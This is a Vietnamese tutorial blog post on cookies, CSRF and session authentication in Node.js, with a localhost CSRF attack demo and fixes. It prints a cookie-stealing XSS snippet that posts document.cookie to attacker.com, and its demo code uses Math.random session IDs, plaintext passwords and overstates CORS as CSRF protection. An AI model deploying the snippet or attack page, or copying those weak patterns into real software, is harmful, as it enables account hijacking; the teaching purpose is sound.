[P2] Nhập môn Authentication: Cookie và Session Authentication

[P2] Nhập môn Authentication: Cookie và Session Authentication

Tiếp nối sự thành công của [P1] Nhập môn authentication: Basic Authentication, phần 2 này chúng ta sẽ đi tìm hiểu về Cookie và Session là gì. Cách áp dụng Cookie và Session trong việc xác thực người dùng.

Trong bài viết này cũng như cả series này thì mình đều dùng Nodejs để ví dụ demo nhé. Các bạn học PHP, Java, .Net thì nó cũng có những thứ tương tự thôi.

Đây là những kiến thức mà các bạn sẽ đạt được sau khi đọc xong bài này

  • Hiểu rõ cookie cũng như cơ chế hoạt động của nó

  • Demo hack 1 website dùng cookie bằng phương pháp CSRF

  • Cách bảo mật cho website nếu website bạn dùng cookie

  • Session authentication là gì? Flow và Ưu nhược của nó

Oke, đầu tiên thì chúng ta tìm hiểu cookie nhé ✊


Cookie là một file nhỏ được lưu trữ trên thiết bị user. Cookie thường được dùng để lưu thông tin về người dùng website như: tên, địa chỉ, giỏ hàng, lịch sử truy cập, mật khẩu (à dù có thể lưu mật khẩu được nhưng đừng lưu nhé, lỡ bị hacker hack, nó lấy đc mật khẩu là toang đấy!)...

Cookie được ghi và đọc theo domain.

Ví dụ khi bạn truy cập vào website cá nhân của Được https://phamhongduc.com, và server mình trả về cookie thì trình duyệt của bạn sẽ lưu cookie cho domain phamhongduc.com.

Khi bạn gửi request đến https://phamhongduc.com (bao gồm việc bạn enter url vào thanh địa chỉ hay gửi api đến) thì trình duyệt của bạn tìm kiếm có cookie nào của https://phamhongduc.com không và gửi lên server https://phamhongduc.com.

Nhưng nếu bạn truy cập vào https://google.com thì google sẽ không đọc được cookie bên https://phamhongduc.com, vì trình duyệt không gửi lên.

☠️ Lưu ý: Nếu bạn đang ở trang https://google.com và gửi request đến https://phamhongduc.com thì trình duyệt sẽ tự động gửi cookie của https://phamhongduc.com lên server của https://phamhongduc.com, đây là một lỗ hổng để hacker tấn công CSRF. Để tìm hiểu thêm về kỹ thuật tấn công và cách khắc phục thì các bạn đọc thêm ở những phần dưới nhé.

Một website có thể lưu nhiều cookie khác nhau, ví dụ profile, cart, history, ...

Bộ nhớ của cookie có giới hạn, nên bạn không nên lưu quá nhiều thông tin vào cookie. Thường thì một website chỉ nên lưu tối đa 50 cookie và tổng cộng kích thước của các cookie trên website đó không nên vượt quá 4KB.

Đến đây mình sẽ làm rõ một số vấn đề về cookie như sau

Nó lưu trong 1 cái file, file này thì được lưu ở trên ổ cứng của bạn. Vậy nên là bạn tắt trình duyệt, shutdown máy tính đi mở lại thì nó vẫn còn đấy.

Ví dụ Truy cập file cookie trên macOS

Trên macOS, các file cookie được lưu trữ trong thư mục của trình duyệt web bạn đang sử dụng. Cụ thể:

  • Các file cookie của Google Chrome được lưu trữ tại: /Users/<username>/Library/Application Support/Google/Chrome/Default/Cookies

  • Các file cookie của Firefox được lưu trữ tại: /Users/<username>/Library/Application Support/Firefox/Profiles/<profile folder>/cookies.sqlite

  • Các file cookie của Safari được lưu trữ tại: /Users/<username>/Library/Cookies/Cookies.binarycookies

Thường thì không ai vào đây xem đâu, vì nó là file nhị phân, bạn không thể đọc được nó. Chúng ta sẽ dùng trình duyệt để xem nhé.

Có 3 cách để ghi dữ liệu lên cookie

  1. Khi bạn truy cập vào 1 url hoặc gọi 1 api, server có thể set cookie lên máy tính của bạn bằng cách trả về header Set-Cookie trong response.

  2. Bạn có thể dùng javascript để set cookie lên máy tính của bạn thông qua document.cookie

  3. Bạn có thể dùng trình duyệt, mở devtool lên và set cookie lên máy tính của bạn

Khi bạn truy cập vào 1 url hoặc gọi 1 api, trình duyệt sẽ tự động gửi cookie lên server. Nhớ là tự động luôn nha, bạn không cần làm gì cả.

Ngoài ra bạn có thể dùng Javascript để đọc cookie của bạn, ví dụ

// Nó sẽ return về tất cả cookie trong một string kiểu như:
// cookie1=value; cookie2=value; cookie3=value;
let x = document.cookie

Lưu ý là nếu cookie được set HttpOnly thì bạn không thể đọc được cookie bằng Javascript đâu nhé.

Hoặc mở devtool lên xem 😂

Lưu ý là cookie lưu ở trang nào thì trình duyệt sẽ gửi cookie trang đó lên server nha. Nếu cookie của https://facebook.com thì không có chuyện bạn vào https://phamhongduc.com và mình đọc được cookie facebook của bạn đâu.

Nãy giờ nắm đủ lý thuyết rồi hen, giờ demo thực hành thôi.

Dưới đây là đoạn code Node.js để tạo 1 cookie, khi bạn chạy đoạn code Node.Js này lên, truy cập vào http://localhost:3000/set-cookie thì trình duyệt sẽ lưu cookie với tên username và giá trị John Doe trong 1 giờ (3600000 ms).

Khi bạn truy cập vào http://localhost:3000/get-cookie thì trình duyệt sẽ gửi cookie lên server, server sẽ đọc cookie và trả về trang tương ứng cho bạn.

const express = require('express')
const cookieParser = require('cookie-parser')
 
const app = express()
 
// Sử dụng cookie-parser để đọc cookie dễ dàng hơn thông qua req.cookies
app.use(cookieParser())
 
// Tạo cookie mới
app.get('/set-cookie', (req, res) => {
  // Điều này tương tự như res.setHeader('Set-Cookie', 'username=John Doe; Max-Age=3600')
  res.cookie('username', 'John Doe', { maxAge: 3600 * 1000 })
  res.send('Cookie đã được tạo')
})
 
// Đọc cookie
app.get('/get-cookie', (req, res) => {
  const username = req.cookies.username
  res.send(`Cookie "username" có giá trị là: ${username}`)
})
 
// Trang chủ
app.get('/', (req, res) => {
  res.send('Xin chào! Hãy tạo hoặc đọc cookie bằng cách truy cập /set-cookie hoặc /get-cookie')
})
 
app.listen(3000, () => {
  console.log('Server is running on port 3000')
})

Đoạn code trên các bạn có thể test bằng axios gọi API với method GET nhé. Chứ nhiều bạn nghĩ là cookie chỉ dùng cho server side rendering truyền thống, không áp dụng được cho RESTful API thì toang 😂, nó vẫn dùng bình thường nhá.

🥈 HttpOnly

Khi set HttpOnly cho một cookie của bạn thì cookie đó sẽ không thể đọc được bằng Javascript (tức là không thể lấy cookie bằng document.cookie được). Điều này giúp tránh được tấn công XSS.

Tân công XSS hiểu đơn giản là người khác có thể chạy được code javascript của họ trên trang web của bạn. Ví dụ bạn dùng một thư viện trên npm, người tạo thư viện này cố tình chèn một đoạn code javascript như sau

// Lấy cookie
const cookie = document.cookie
 
// Gửi cookie về một trang web khác
const xhr = new XMLHttpRequest()
xhr.open('POST', 'https://attacker.com/steal-cookie', true)
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded')
xhr.send(`cookie=${cookie}`)

Khi bạn deploy website, user truy cập vào website của bạn, thì đoạn code trên sẽ chạy và gửi cookie của user về cho kẻ tấn công (người tạo thư viện). Nếu cookie chứa các thông tin quan trọng như tài khoản ngân hàng, mật khẩu, ... thì user đã bị hack rồi.

Để set HttpOnly cho cookie, bạn chỉ cần thêm option httpOnly: true vào cookie như sau

// Thiết lập cookie với httponly
res.cookie('cookieName', 'cookieValue', { httpOnly: true })

🥈 Secure

Khi set Secure cho một cookie của bạn thì cookie đó chỉ được gửi lên server khi bạn truy cập vào trang web bằng https. Điều này giúp tránh được các lỗ hổng MITM (Man in the middle attack).

Man-in-the-middle (MITM) là một kỹ thuật tấn công mạng, trong đó kẻ tấn công can thiệp vào kết nối giữa hai bên và trộn lẫn thông tin giữa họ. Khi bị tấn công, người dùng thường không nhận ra được sự can thiệp này. Ví dụ bạn dùng wifi công cộng, kẻ tấn công có thể đọc được dữ liệu bạn gửi đi.

Để set Secure cho cookie, bạn chỉ cần thêm option secure: true vào cookie như sau

res.cookie('cookieName', 'cookieValue', { secure: true })

🥈 Tấn công CSRF

Lợi dụng cơ chế khi request trên một url nào đó, trình duyệt sẽ tự động gửi cookie lên server, kẻ tấn công có thể tạo một trang web giả mạo, khi user truy cập vào trang web giả mạo và thực hiện hành động nào đó, trình duyệt sẽ tự động gửi cookie lên server, kẻ tấn công có thể lợi dụng cookie này để thực hiện các hành động độc hại.

Ví dụ:

Chúng ta dùng facebook để post bài lên newfeeeds tại url là https://facebook.com. Tất nhiên là muốn post được bài viết thì facebook sẽ kiểm tra bạn đã đăng nhập hay chưa thông qua cookie bạn gửi lên lúc bạn nhấn nút Đăng bài.

Dưới đây là đoạn code mô phỏng cách server facebook hoạt động khi bạn nhấn nút Đăng bài.

(Mô phỏng lỗi thôi chứ facebook không có lỗi này đâu nhé 😂)

File server facebook.js chạy tại http://localhost:3000

const express = require('express')
const cookieParser = require('cookie-parser')
const bodyParser = require('body-parser')
 
const database = []
const PORT = 3000
const app = express()
 
// Sử dụng cookie-parser để đọc cookie dễ dàng hơn thông qua req.cookies
app.use(cookieParser())
 
// Sử dụng body-parser để đọc body form data dễ dàng hơn thông qua req.body
app.use(bodyParser.urlencoded({ extended: false }))
 
const authMiddleware = (req, res, next) => {
  // Kiểm tra xem người dùng đã đăng nhập chưa
  if (req.cookies.username !== 'John Doe') {
    return res.status(401).send(`<div>Xin chào! Để đăng nhập vui lòng vào đường dẫn <a href='/login'>/login</a></div>`)
  }
  next()
}
 
app.get('/login', (req, res) => {
  res.cookie('username', 'John Doe', {
    maxAge: 3600 * 1000,
    httpOnly: true
  })
  res.send(`
  <div>Chúc mừng John Doe đã đăng nhập thành công!</div>
  <div>Quay lại <a href='/'>trang chủ</a> để đăng bài</div>
  `)
})
 
app.post('/status', authMiddleware, (req, res) => {
  // Thêm bài viết vào database
  const { content } = req.body
  database.push(content)
  res.send(`<div>Bạn đã đăng bài thành công, quay lại <a href='/'>trang chủ</a> để xem bài viết của bạn</div>`)
})
 
// Trang chủ
app.get('/', authMiddleware, (req, res) => {
  // Nếu đã đăng nhập thì hiển thị form đăng bài và các bài đã đăng
  res.send(`
  <html><body>
  <form action='/status' method='post'>
    <textarea type="text" placeholder="Bạn đang nghĩ gì" name="content"></textarea>
    <button type="submit">Đăng bài</button>
  </form>
  <div>Các bài đã đăng</div>
  ${database.map((content) => `<p>${content}</p>`).join('')}
  </body></html>
  `)
})
 
app.listen(PORT, () => {
  console.log(`Facebook Server is running on http://localhost:${PORT}`)
})

File server hacker.js chạy tại http://http://127.0.0.1:3300 (sở dĩ mình không để link localhost vì nó sẽ cũng domain với cái server facebook trên, nên chúng ta sẽ không test được)

const express = require('express')
const cookieParser = require('cookie-parser')
const bodyParser = require('body-parser')
 
const PORT = 3300
const app = express()
app.use(cookieParser())
app.use(bodyParser.urlencoded({ extended: false }))
 
// Trang chứa nội dung dụ dỗ người dùng click
app.get('/', (req, res) => {
  res.send(`
  <html><body>
  <form action='http://localhost:3000/status' method='post'>
    <input type="text" name="content" value='Tôi hồ đồ quá, tôi đã bị hack' style="display: none" />
    <button type="submit">Click vào đây để xem full video</button>
  </form>
  </body></html>
  `)
})
 
app.listen(PORT, () => {
  console.log(`Hacker Server is running on http://127.0.0.1:${PORT}`)
})

🥉Demo tấn công CSRF

Đây là hướng dẫn tấn công CSRF dựa trên ví dụ ngay bên trên nha.

  • Bước 1: Tạo 2 file facebook.jshacker.js như trên

  • Bước 2: Chạy 2 file server trên 2 terminal khác nhau

  • Bước 3: Truy cập vào http://localhost:3000/login để đăng nhập vào facebook

  • Bước 4: Quay trở lại trang chủ http://localhost:3000 để xem đăng nhập thành công chưa

  • Bước 5: Mở 1 tab mới truy cập vào http://127.0.0.1:3300 và nhấn và nút Click vào đây để xem full video

  • Bước 6: Quay lại tab facebook, F5 và xem kết quả, bạn sẽ thấy bên website facebook đã bị hack

🥈 Cách phòng chống tấn công CSRF

Ở đây mình sẽ có một số cách phòng chống như sau

✅Cách 1: Sử dụng thuộc tính SameSite=Strict cho cookie

Các bạn mở lại code server facebook.js và sửa lại như thế này nhé

res.cookie('username', 'John Doe', {
  maxAge: 3600 * 1000,
  httpOnly: true,
  sameSite: true // Thêm thuộc tính SameSite=Strict cho cookie
})

Với SameSite=Strict thì cookie sẽ không được gửi đi nếu request không phải là request từ trang web hiện tại. Ví dụ như ở trên thì cookie sẽ không được gửi đi nếu request đến từ http://127.0.0.1:3300

Lưu ý với SameSite

Quy tắc quyết định 2 site có phải là same không nó phức tạp hơn bạn nghĩ.

Ví dụ như 2 site https://subdomain1.phamhongduc.comhttp://phamhongduc.com được coi là same site vì cùng public suffix phamhongduc.com

Nhưng 2 site https://phamhongduc.github.iohttps://phd.github.io thì không được coi là same site vì khác public suffix, ở đây các bạn có thể hiểu github.io nó giống như cái tên miền com rồi.

Để hiểu rõ hơn về samesite thì mình khuyên các bạn nên đọc những bài này

✅Cách 2: Sử dụng CSRF Token:

CSRF token là một chuỗi ngẫu nhiên được tạo ra để bảo vệ khỏi tấn công Cross-Site Request Forgery (CSRF). Khi người dùng yêu cầu truy cập tài nguyên, server sẽ tạo ra một token và gửi nó về cho người dùng. Khi người dùng gửi yêu cầu tiếp theo, họ phải bao gồm token này trong yêu cầu của mình. Nếu token không hợp lệ, yêu cầu sẽ bị từ chối. Điều này giúp ngăn chặn kẻ tấn công thực hiện các yêu cầu giả mạo.

Để áp dụng CSRF Token cho facebook.js server thì các bạn sửa code thành như dưới đây

const express = require('express')
const cookieParser = require('cookie-parser')
const bodyParser = require('body-parser')
 
const database = []
const PORT = 3000
const app = express()
 
// Sử dụng cookie-parser để đọc cookie dễ dàng hơn thông qua req.cookies
app.use(cookieParser())
 
// Sử dụng body-parser để đọc body form data dễ dàng hơn thông qua req.body
app.use(bodyParser.urlencoded({ extended: false }))
 
// Middleware này sẽ kiểm tra CSRF Token có hợp lệ hay không
// Cho các method POST, PUT, DELETE
const csrfProtection = (req, res, next) => {
  const { csrfToken } = req.body
  const tokenFromCookie = req.cookies.csrfToken
  if (!csrfToken || csrfToken !== tokenFromCookie) {
    return res.status(403).send('CSRF Token không hợp lệ')
  }
  next()
}
 
const authMiddleware = (req, res, next) => {
  // Kiểm tra xem người dùng đã đăng nhập chưa
  if (req.cookies.username !== 'John Doe') {
    return res.status(401).send(`<div>Xin chào! Để đăng nhập vui lòng vào đường dẫn <a href='/login'>/login</a></div>`)
  }
  next()
}
 
app.get('/login', (req, res) => {
  res.cookie('username', 'John Doe', {
    maxAge: 3600 * 1000,
    httpOnly: true
  })
  // Tạo ra một token ngẫu nhiên và lưu vào cookie
  const csrfToken = Math.random().toString(36).substring(2, 15) + Math.random().toString(36).substring(2, 15)
  res.cookie('csrfToken', csrfToken)
 
  res.send(`
  <div>Chúc mừng John Doe đã đăng nhập thành công!</div>
  <div>Quay lại <a href='/'>trang chủ</a> để đăng bài</div>
  `)
})
 
// Đưa csrfProtection vào những route cần bảo vệ
app.post('/status', authMiddleware, csrfProtection, (req, res) => {
  // Thêm bài viết vào database
  const { content } = req.body
  database.push(content)
  res.send(`<div>Bạn đã đăng bài thành công, quay lại <a href='/'>trang chủ</a> để xem bài viết của bạn</div>`)
})
 
// Trang chủ
app.get('/', authMiddleware, (req, res) => {
  const tokenFromCookie = req.cookies.csrfToken
 
  // Nếu đã đăng nhập thì hiển thị form đăng bài và các bài đã đăng
  res.send(`
  <html><body>
  <form action='/status' method='post'>
    <textarea type="text" placeholder="Bạn đang nghĩ gì" name="content"></textarea>
    <input type="hidden" name="csrfToken" value="${tokenFromCookie}" />
    <button type="submit">Đăng bài</button>
  </form>
  <div>Các bài đã đăng</div>
  ${database.map((content) => `<p>${content}</p>`).join('')}
  </body></html>
  `)
})
 
app.listen(PORT, () => {
  console.log(`Facebook Server is running on http://localhost:${PORT}`)
})

✅Cách 3: Sử dụng CORS:

Cross-Origin Resource Sharing (CORS) là một cơ chế để ngăn chặn các yêu cầu từ các tên miền khác nhau. Bằng cách thiết lập CORS, bạn có thể chỉ cho phép các yêu cầu từ các tên miền cụ thể hoặc từ tất cả các tên miền. Ví dụ như ở trên thì nếu server facebook chỉ cho phép các yêu cầu từ tên miền http://localhost:3000 thì hacker sẽ không thể tấn công được.

Thêm cái này vào facebook.js

const cors = require('cors')
app.use(cors({ origin: 'http://localhost:3000', credentials: true }))

🥈 Single Page Application có bị tấn công CSRF không?

Câu trả lời là có! Nhưng hiếm khi xảy ra trừ khi bạn chủ động set SameSite=None cho cookie của bạn.

Như các bạn thấy thì CSRF nghĩa là một request được thực hiện trên một trang web hacker. Nãy giờ chúng ta chỉ ví dụ với cơ chế GET POST truyền thống, chứ không phải REST API phổ biến như chúng ta thao tác ngày nay.

Với REST API thì để gửi một request đến http://localhost:3000/status trên trang web http://127.0.0.1:3300 chúng ta có thể dùng fetch API như dưới đây.

fetch('http://localhost:3000/status', {
  method: 'POST',
  credentials: 'include',
  body: {
    content: 'Hacker đã đăng bài'
  }
})

Lúc này cookie của http://localhost:3000 sẽ không được gửi lên http://localhost:3000/status đâu, vì nếu các bạn không set SameSite khi server trả về thì mặc định trình duyệt sẽ ngầm hiểu đây là SameSite=Lax.

Mà với SameSite=Lax thì chỉ cho phép gửi cookie đối với những request mà reload lại page (ví dụ request trong form method post truyền thống ở các ví dụ trên), còn mấy cái fetch, XMLHttpRequest hay axios thì nó không gửi cookie đâu.

Còn nếu bạn set SameSite=none (khi đó phải thêm secure=true nữa browsers nó mới chập nhận cái samesite none này) thì khỏi nói luôn, hacker có thể thay đổi data của bạn nếu bạn truy cập trang web của hacker.

🥈 Tóm lại thì làm sao bảo vệ website khỏi CSRF?

Nếu bạn không dùng cookie thì không cần quan tâm, vì no cookie no CSRF.

Nếu bạn sài combo REST API và SPA thì đầu tiên là phải thiết lập cors, httpOnly=true, secure=true, SameSite=Strict hoặc SameSite=Lax.

Cẩn thận với SameSite=Strict:

Vì nếu bạn set SameSite=Strict thì khi bạn đăng nhập vào example.com rồi. Bây giờ bạn click vào đường link example.com trên trang web khác thì trình duyệt sẽ không gửi cookie đâu, dẫn đến việc dù bạn đã đăng nhập lúc nãy nhưng vẫn bị chuyển về trang login vì bị cho là chưa đăng nhập.

Cái này thường xảy ra khi website của bạn là website theo MPA truyền thống, còn nếu là SPA thì không sao cả, vì hầu như các SPA chúng ta đều gọi request và gửi cookie lên server thông qua fetch hay XMLHttpRequest (tức là đã redirect đến trang) chứ không phải ngay khi click vào đường link.

Cá nhân mình nghĩ không cần phải dùng thêm CSRF token nữa, vì nó chỉ làm cho cơ chế xác thực của bạn phức tạp hơn thôi. Như trên là đủ rồi.


🥇 Session Authentication

Oke, mọi người đã nắm vững cookie chưa nhỉ 🤪? Nếu chưa thì đọc lại phần trên đi nhé.

Trước khi tìm hiểu về session authentication thì chúng ta cần phải hiểu về session trước đã.

🥈 Session là gì?

Session là phiên lưu trữ trên server để quản lý thông tin liên quan đến mỗi người dùng trong quá trình tương tác với ứng dụng.

Session được lưu trữ trên server, còn cookie được lưu trữ trên client. Nhớ rõ điều này nha.

Session có thể được lưu ở dạng file, database, cache, memory, ... tùy vào cách thiết kế server như thế nào.

🥈 Session Authentication là gì?

Session Authentication là một cơ chế xác thực người dùng bằng cách sử dụng session.

Khi người dùng đăng nhập thành công, server sẽ tạo ra một session mới và gửi session id đó về cho client thông qua cookie (thường là cookie thôi chứ không nhất thiết, client có thể lưu vào local storage cũng được). Client sẽ gửi nó lên server mỗi khi thực hiện một request. Server kiểm tra session id này có tồn tại hay không, nếu có thì xác thực thành công, không thì xác thực thất bại.

🥈 Flow hoạt động của Session Authentication

Hình dưới đây là luồng hoạt động của phương pháp xác thực bằng session.

Luồng hoạt động của Session Authentication

Luồng hoạt động của Session Authentication

  1. Client gửi request vào tài nguyên được bảo vệ trên server. Nếu client chưa được xác thực, server sẽ trả lời với một lời nhắc đăng nhập. Client gửi username và password của họ cho server.

  2. Server xác minh thông tin xác thực được cung cấp so với cơ sở dữ liệu người dùng. Nếu thông tin xác thực khớp, server tạo ra một Session Id duy nhất và tạo một session tương ứng trong bộ nhớ lưu trữ phía server (ví dụ: ram, database, hoặc file nào đó).

  3. Server gửi Session Id cho client dưới dạng cookie, thường là với tiêu đề Set-Cookie.

  4. Client lưu trữ cookie.

  5. Đối với các yêu cầu tiếp theo, client gửi cookie chứa Session Id lên server.

  6. Server kiểm tra Session Id trong cookie so với dữ liệu session được lưu trữ để xác thực người dùng.

  7. Nếu được xác nhận, server cấp quyền truy cập vào tài nguyên được yêu cầu. Khi người dùng đăng xuất hoặc sau một khoảng thời gian hết hạn được xác định trước, server làm vô hiệu phiên

🥈 Code mô phỏng Session Authentication

Dươi đây là code mô phỏng session authentication bằng express.js node.js

// Import các thư viện cần thiết
const express = require('express')
const cookieParser = require('cookie-parser')
 
// Tạo ứng dụng Express
const app = express()
 
// Sử dụng các middleware
app.use(express.json()) // Để đọc dữ liệu JSON từ request body
app.use(cookieParser()) // Để đọc dữ liệu từ cookie
 
// Dữ liệu người dùng giả lập
const users = {
  user1: 'password1',
  user2: 'password2'
}
 
// Lưu trữ các session
const sessions = {}
 
// Middleware để kiểm tra xác thực người dùng
function isAuthenticated(req, res, next) {
  const sessionId = req.cookies.session_id // Lấy Session ID từ cookie
  if (sessionId && sessions[sessionId]) {
    // Nếu có sessionId và nó tồn tại trong session
    req.session = sessions[sessionId] // Lấy thông tin session
    next() // Tiếp tục xử lý request
  } else {
    res.status(401).json({ message: 'Unauthorized' }) // Trả về lỗi 401 nếu chưa xác thực
  }
}
 
// Điểm cuối để xử lý đăng nhập
app.post('/login', (req, res) => {
  const username = req.body.username
  const password = req.body.password
 
  const user = users[username]
 
  if (user && password === user) {
    // Kiểm tra tên người dùng và mật khẩu
    const newSessionId = Math.random().toString(36).substring(2) // Tạo ID session mới
    req.session = { id: newSessionId, user: user } // Lưu thông tin session
    sessions[newSessionId] = req.session
 
    res.cookie('session_id', newSessionId) // Lưu Session ID vào cookie
    res.json({ message: 'Logged in' }) // Trả về thông báo thành công
  } else {
    res.status(401).json({ message: 'Invalid username or password' }) // Trả về lỗi nếu sai tên người dùng hoặc mật khẩu
  }
})
 
// Điểm cuối bảo vệ, yêu cầu xác thực người dùng
app.get('/protected', isAuthenticated, (req, res) => {
  res.json({ message: 'Protected content' }) // Trả về nội dung được bảo vệ
})
 
// Khởi động server ứng dụng
app.listen(3000, () => {
  console.log('Server is running on port 3000')
})

🥈 Ưu nhược điểm của Session Authentication

🥉Ưu điểm

  • Dễ triển khai, hầu như mấy framework web hiện nay đều giúp bạn thực hiện session authentication một cách cực kỳ dễ dàng chỉ với vài dòng code

  • Bảo mật thông tin người dùng. Như bạn thấy đấy, người dùng chỉ lưu một cái chuỗi ngẫu nhiên (session id) trên máy mình và gửi nó lên server qua mỗi request, nên mấy cái thông khác như username, password, ... không bị lộ ra ngoài

  • Toàn quyền kiểm soát phiên làm việc của người dùng. Vì mọi thứ bạn lưu trữ ở server nên bạn có thể đăng xuất người dùng bất cứ khi nào bạn muốn bằng việc xóa session id của họ trong bộ nhớ lưu trữ phía server.

🥉Nhược điểm

  • Việc toàn quyền kiểm soát vừa là ưu điểm cũng vừa là nhược điểm của session authentication. Vì bạn phải lưu trữ thông tin phiên làm việc của người dùng nên bạn phải có một bộ nhớ lưu trữ phía server. Ví dụ bạn lưu trữ trên RAM thì không thể chia sẻ cho các server khác được (dính DDOS hay restart server lại mất hết), lưu trữ trên database thì lại tốn kém thêm chi phí, bộ nhớ,...

  • Bộ nhớ lưu trữ session sẽ phình to rất nhanh vì mỗi khi có một người dùng đăng nhập thì bạn lại phải lưu trữ một session id mới, cái này phình to nhanh lắm đấy 😂

  • Tốc độ chậm, vì mỗi request đến server, server điều phải kiểm tra trong bộ nhớ lưu trữ xem session id có hợp lệ hay không. Nếu bạn lưu trữ trên database thì tốc độ sẽ chậm hơn nữa.

  • Khó khăn trong việc scale ngang server. Ví dụ khi server lớn lên, bạn phải có nhiều server để chịu tải hơn, thì việc chia sẻ session id giữa các server là một vấn đề khó khăn, kiểu gì bạn cũng phải tìm cái gì đó chung giữa các server như database chung chẳn hạn. Lại database, nếu nó lớn lên lại tìm cách scale database 🥲

Scale ngang là chúng ta mở rộng quy mô hệ thống bằng cách thêm các server mới vào hệ thống, thay vì nâng cấp server hiện tại lên một cấu hình cao hơn.

Scale dọc là chúng ta mở rộng quy mô hệ thống bằng cách nâng cấp server hiện tại lên một cấu hình cao hơn.


🥇 Đón chờ phần kế tiếp

Phần 2 này dài gấp 3 lần phần 1 😂, mong rằng qua bài này mình đã giúp các bạn hiểu rõ hơn về Cookie cũng như Session là gì, quan trọng hơn là cơ chế Session Authentication hoạt động như thế nào.

Phần 3 mình sẽ giới thiệu với các bạn về một cơ chế xác thực người dùng khác, đó là JWT Authentication. Cơ chế này sẽ giúp chúng ta giải quyết được một số nhược điểm của Session Authentication.

Hẹn gặp lại các bạn ở phần 3 nhé 😘

Nguồn bài viết: https://duthanhduoc.com

Phạm Hồng Đức
Phạm Hồng Đức
Một developer thích nghiên cứu và chia sẻ kiến thức lập trình, phần mềm mã nguồn mở (open-source), và cuộc sống.